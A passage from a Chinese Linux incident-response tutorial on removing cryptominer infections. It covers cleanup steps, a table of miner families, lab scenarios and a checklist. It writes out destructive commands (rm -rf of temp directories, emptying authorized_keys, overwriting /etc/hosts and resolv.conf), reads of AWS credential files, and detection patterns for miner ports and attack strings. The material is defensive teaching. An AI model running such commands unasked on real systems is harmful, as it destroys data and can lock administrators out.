3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 常见挖矿文件存放位置
# /tmp/ —— 最常见
# /dev/shm/ —— 内存文件系统,不留磁盘痕迹
# /var/tmp/ —— 持久临时目录
# /root/ —— root 用户主目录
# /usr/local/bin/ —— 伪装成系统工具

# 查找并删除
rm -rf /tmp/.X11-unix/ 2>/dev/null # 常见挖矿隐藏目录
rm -rf /tmp/.cache/ 2>/dev/null
rm -rf /tmp/.font-unix/ 2>/dev/null
rm -rf /dev/shm/.* 2>/dev/null
rm -f /tmp/kdevtmpfsi 2>/dev/null
rm -f /tmp/kinsing 2>/dev/null

# 查找隐藏文件
find /tmp/ /dev/shm/ /var/tmp/ -name ".*" -exec ls -la {} \; 2>/dev/null

# 查找可执行文件
find /tmp/ /dev/shm/ /var/tmp/ -type f -executable -ls 2>/dev/null

# 查找最近创建的文件
find /tmp/ /dev/shm/ /var/tmp/ -type f -mtime -7 -ls 2>/dev/null

# 清理 systemd 恶意服务
systemctl stop <malicious_service>
systemctl disable <malicious_service>
rm /etc/systemd/system/<malicious_service>.service
systemctl daemon-reload

步骤 7:清除 SSH 公钥后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 检查并清理 authorized_keys
# 先备份
cp /root/.ssh/authorized_keys /tmp/evidence_authorized_keys 2>/dev/null

chattr -i /root/.ssh/authorized_keys 2>/dev/null

# 只保留已知合法的公钥
# 建议清空后重新添加合法公钥
> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# 检查其他用户
for user_home in /home/*; do
auth_file="$user_home/.ssh/authorized_keys"
if [ -f "$auth_file" ]; then
chattr -i "$auth_file" 2>/dev/null
echo "检查 $auth_file"
cat "$auth_file"
fi
done

步骤 8:恢复被修改的系统配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 恢复 /etc/hosts
chattr -i /etc/hosts 2>/dev/null
# 删除恶意条目,保留必要的本地解析
# 最简单的方式是恢复为默认内容
cat > /etc/hosts << 'EOF'
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
EOF

# 恢复 DNS 配置
chattr -i /etc/resolv.conf 2>/dev/null
# 恢复为正确的 DNS 服务器
cat > /etc/resolv.conf << 'EOF'
nameserver 8.8.8.8
nameserver 114.114.114.114
EOF

# 清理恶意 iptables 规则
# 谨慎操作——保留必要的规则
iptables -L -n --line-numbers
# 删除可疑规则
iptables -D INPUT <rule_number>
iptables -D OUTPUT <rule_number>

# 恢复被替换的系统工具
# Ubuntu
apt-get install --reinstall procps net-tools coreutils
# CentOS
yum reinstall procps-ng net-tools coreutils

# 清理 LD_PRELOAD
> /etc/ld.so.preload 2>/dev/null
unset LD_PRELOAD

步骤 9:排查入侵入口并修复漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 确定攻击者是如何进来的

# 1. Redis 未授权访问?
ss -tlnp | grep 6379
redis-cli -h 127.0.0.1 PING 2>/dev/null
# 参考 [13-Redis未授权访问应急](/2026/04/04/Linux应急响应-13-Redis未授权访问应急/)

# 2. SSH 暴力破解?
grep "Accepted password" /var/log/auth.log 2>/dev/null | tail -20
grep "Accepted password" /var/log/secure 2>/dev/null | tail -20
# 参考 [04-账户安全排查](/2026/04/04/Linux应急响应-04-账户安全排查/)

# 3. Web 应用漏洞?
grep -iE "eval|exec|system|cmd|shell" /var/log/nginx/access.log 2>/dev/null | tail -20
grep -iE "eval|exec|system|cmd|shell" /var/log/apache2/access.log 2>/dev/null | tail -20

# 4. Docker 未授权访问?
ss -tlnp | grep 2375
curl -s http://127.0.0.1:2375/version 2>/dev/null

# 根据入侵入口,进行针对性修复

步骤 10:监控观察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 处置完成后,需要持续监控至少 24-48 小时

# 1. 监控 CPU 使用率
while true; do
echo "$(date) - $(top -bn1 | head -3 | tail -1)"
sleep 60
done &

# 2. 监控新建进程
# 使用 auditd 监控进程创建
auditctl -a always,exit -F arch=b64 -S execve -k process_monitor

# 3. 监控 crontab 变化
inotifywait -m -r /var/spool/cron/ /etc/cron.d/ 2>/dev/null &

# 4. 监控网络连接
ss -tnp state established | grep -E ":(3333|4444|5555|7777|14444)"

# 5. 检查是否有新的可疑进程
ps aux --sort=-%cpu | head -10

7. 常见挖矿家族特征表

以下是实战中常见的挖矿病毒家族及其特征,有助于快速识别和处置

家族 矿机进程名 Watchdog 进程名 典型路径 矿池端口 持久化方式 感染途径
kinsing/kdevtmpfsi kdevtmpfsi kinsing /tmp/kdevtmpfsi 3333, 4444 crontab + SSH key Redis, Docker API
TeamTNT xmrig (重命名) tntrecht, dockerupdate /tmp/.TeamTNT/, /var/tmp/ 14433 (TLS) crontab + systemd + SSH key Docker, Kubernetes, Redis
WatchDog 随机名 watchdog 脚本 /tmp/.cache/ 5555, 7777 crontab SSH 暴力破解, Web 漏洞
Outlaw/Shellbot [kswapd0] 伪装 rsync, tsm /tmp/.X25-unix/ 4444, 3333 crontab + SSH key + IRC bot SSH 暴力破解
8220 Gang spirit, 随机名 bashirc.sh /tmp/, /dev/shm/ 45700, 3333 crontab + cron.d Redis, WebLogic, Confluence
Lemon_Duck [kthreaddi] 伪装 多层 shell 脚本 /tmp/.sqlnetlsnr/ 3333, 4444 crontab + SSH key + systemd Redis, SSH, EternalBlue
Rocke Group java, kerberods pastebin 下载脚本 /var/tmp/.cache/, /usr/local/lib/ 14433 (TLS) crontab + 修改 ld.so.preload Redis, Oracle WebLogic, Apache Struts
Prometei mstr, search prometheus /tmp/mstr/ 3333, 14444 crontab + systemd + SSH worm SMB, SSH 暴力破解, Exchange 漏洞

各家族特殊行为

kinsing/kdevtmpfsi

最常见的挖矿家族之一

kinsing 作为 watchdog 和下载器

会主动清除竞争对手的挖矿程序

经常通过 Docker API 或 Redis 感染

1
2
3
# 特征检测
ps aux | grep -E "kdevtmpfsi|kinsing"
find / -name "kdevtmpfsi" -o -name "kinsing" 2>/dev/null

TeamTNT

最活跃、最复杂的挖矿攻击组织

会窃取 AWS 凭证和 Docker 配置

使用 IRC botnet 进行 C2 通信

会部署 rootkit 隐藏进程

1
2
3
4
5
6
# 特征检测
find / -name ".TeamTNT" -o -name "tntrecht" 2>/dev/null
grep -r "TeamTNT" /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null
# 检查 AWS 凭证是否被窃取
cat /root/.aws/credentials 2>/dev/null
cat /home/*/.aws/credentials 2>/dev/null

Outlaw/Shellbot

使用 IRC 进行 C2

自带 SSH 暴力破解模块,横向传播

进程名常伪装成内核线程

1
2
3
4
5
6
7
8
9
# 特征检测
find /tmp/ -name ".X25-unix" -o -name ".X19-unix" 2>/dev/null
ps aux | grep -E "\[kswapd0\]|\[migration/0\]" | while read line; do
pid=$(echo "$line" | awk '{print $2}')
exe=$(readlink /proc/$pid/exe 2>/dev/null)
if [ -n "$exe" ]; then
echo "[!] 伪装内核线程: PID=$pid EXE=$exe"
fi
done

8220 Gang

经常利用 Web 应用漏洞(WebLogic, Confluence)

使用 c3pool 矿池(端口 45700)

下载脚本通常托管在 Pastebin 或 GitHub

1
2
3
# 特征检测
ss -tnp | grep ":45700"
grep -rn "c3pool\|pastebin\|github.*raw" /tmp/ /var/tmp/ /dev/shm/ 2>/dev/null

8. 实战练习

8.1 配套实验环境

实验目录:labs/06-cryptominer/

环境模拟了一个被挖矿病毒感染的 Linux 服务器

实验目标:

  1. 发现并识别挖矿进程和 watchdog

  2. 找到所有持久化机制(crontab, SSH key, systemd 等)

  3. 按正确顺序完成处置

  4. 确定入侵入口

  5. 完成安全加固

8.2 练习场景

场景 1:基础挖矿排查

告警:服务器 CPU 持续 100%

练习步骤:

  1. 使用 top 发现 CPU 占用最高的进程

  2. 通过 /proc/PID/exe 确认恶意程序

  3. 通过进程树找到 watchdog

  4. 检查 crontab 中的下载命令

  5. 按正确顺序清除

场景 2:高级挖矿排查

告警:服务器响应缓慢,但 top 看不到异常进程

练习步骤:

  1. 怀疑使用了 LD_PRELOAD 隐藏进程

  2. 使用 busybox 或静态编译工具检测

  3. 对比 /proc 目录和 ps 输出

  4. 找到隐藏的挖矿进程

  5. 清除 rootkit 和挖矿程序

场景 3:供应链感染

告警:多台服务器同时出现挖矿

练习步骤:

  1. 确定第一台被感染的服务器(Patient Zero)

  2. 分析横向传播方式(SSH 暴力破解 / SSH key 复用)

  3. 在所有受影响服务器上清除矿机

  4. 修复传播路径

8.3 排查 Checklist

挖矿病毒应急排查清单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
===== 症状确认 =====
□ CPU 使用率是否持续异常(>90%)
□ 确认消耗 CPU 的进程 PID 和名称
□ 确认进程的真实可执行文件(/proc/PID/exe)
□ 检查是否有进程名伪装

===== 进程分析 =====
□ 提取矿机命令行参数(矿池地址、钱包地址)
□ 找到 watchdog/守护进程
□ 检查进程树关系
□ 检查是否有 LD_PRELOAD/rootkit 隐藏进程

===== 持久化排查 =====
□ 检查所有用户的 crontab
□ 检查 /etc/cron.d/ 和 /etc/crontab
□ 检查所有用户的 authorized_keys
□ 检查 systemd 自定义服务
□ 检查启动脚本(.bashrc, profile.d, rc.local)
□ 检查文件是否被 chattr +i 锁定

===== 网络分析 =====
□ 检查矿池端口连接(3333,4444,5555 等)
□ 检查 DNS 配置是否被篡改
□ 检查 /etc/hosts 是否被修改
□ 检查 iptables 异常规则

===== 处置清除 =====
□ 先杀 watchdog → 再杀 miner
□ 清除恶意 crontab
□ 清除恶意文件(/tmp/, /dev/shm/, /var/tmp/)
□ 清除 SSH 公钥后门
□ 恢复系统配置(hosts, DNS, iptables)
□ 恢复/重装被替换的系统工具

===== 入口溯源 =====
□ Redis 未授权访问?
□ SSH 暴力破解?
□ Web 应用漏洞?
□ Docker API 未授权?
□ 其他组件漏洞?

===== 加固与监控 =====
□ 修复入侵入口
□ 加强密码策略
□ 限制不必要的端口暴露
□ 持续监控 CPU 和网络至少 48 小时

上一章 目录 下一章
14-MySQL入侵分析 Linux应急响应 14.6-勒索病毒应急